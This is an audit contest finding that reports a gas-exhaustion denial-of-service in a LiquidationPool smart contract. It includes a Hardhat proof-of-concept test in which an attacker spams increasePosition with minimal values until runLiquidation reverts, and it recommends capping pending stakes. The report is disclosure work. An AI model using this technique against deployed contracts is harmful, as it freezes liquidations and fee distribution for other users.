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Submission Details
Severity: high
Valid

DoS Risk: Malicious user can increase positions as many times as needed to make pendingStakes loops run out of gas

dianivanov

Summary

A DoS attack can be triggered in the LiquidationPool contract. Malicious users can exploit the increasePosition function with low-value inputs, creating an overload of PendingStakes and disrupting other functionalities.

Vulnerability Details

In order to perform the POC I updated the hardhat.config.js file in the following way:

require("@nomicfoundation/hardhat-toolbox");
require('@openzeppelin/hardhat-upgrades');
​
module.exports = {
solidity: "0.8.17",
mocha: {
timeout: 100000000,
},
};

I modified the 'allows users to claim their accrued rewards' test in liquidationPool.js to demonstrate the issue on runLiquidity function:

it('DOS attack by calling increasePosition with many small values, causing runLiquditiy to revert', async () => {
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
// create some funds to be "liquidated"
await user2.sendTransaction({to: MockSmartVaultManager.address, value: ethCollateral});
await WBTC.mint(MockSmartVaultManager.address, wbtcCollateral);
await USDC.mint(MockSmartVaultManager.address, usdcCollateral);
​
let stakeValue = ethers.utils.parseEther('10000');
await TST.mint(user1.address, stakeValue);
await EUROs.mint(user1.address, stakeValue);
await TST.connect(user1).approve(LiquidationPool.address, stakeValue);
await EUROs.connect(user1).approve(LiquidationPool.address, stakeValue);
​
//attacker creates too many positions
for(let i = 0; i < 300; i++) {
await LiquidationPool.connect(user1).increasePosition(0, 1);
}
await fastForward(DAY);
​
//runLiqudity reverts because of too many pending positions
await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).to.be.reverted;
});
​

Impact

If the PendingStakes in LiquidationPool contract are too many to handle, the following external functions are blocked:

LiquidationPool - increasePosition, distributeFees, decreasePosition, distributeAssets
LiquidationPoolManage - distributeFees, runLiquidation

Tools Used

Manual Review & Hardhat

Recommendations

Limiting the pendingPositions array or/and make sure a user can have only one pending position per day.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-dos

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

pendingstake-high

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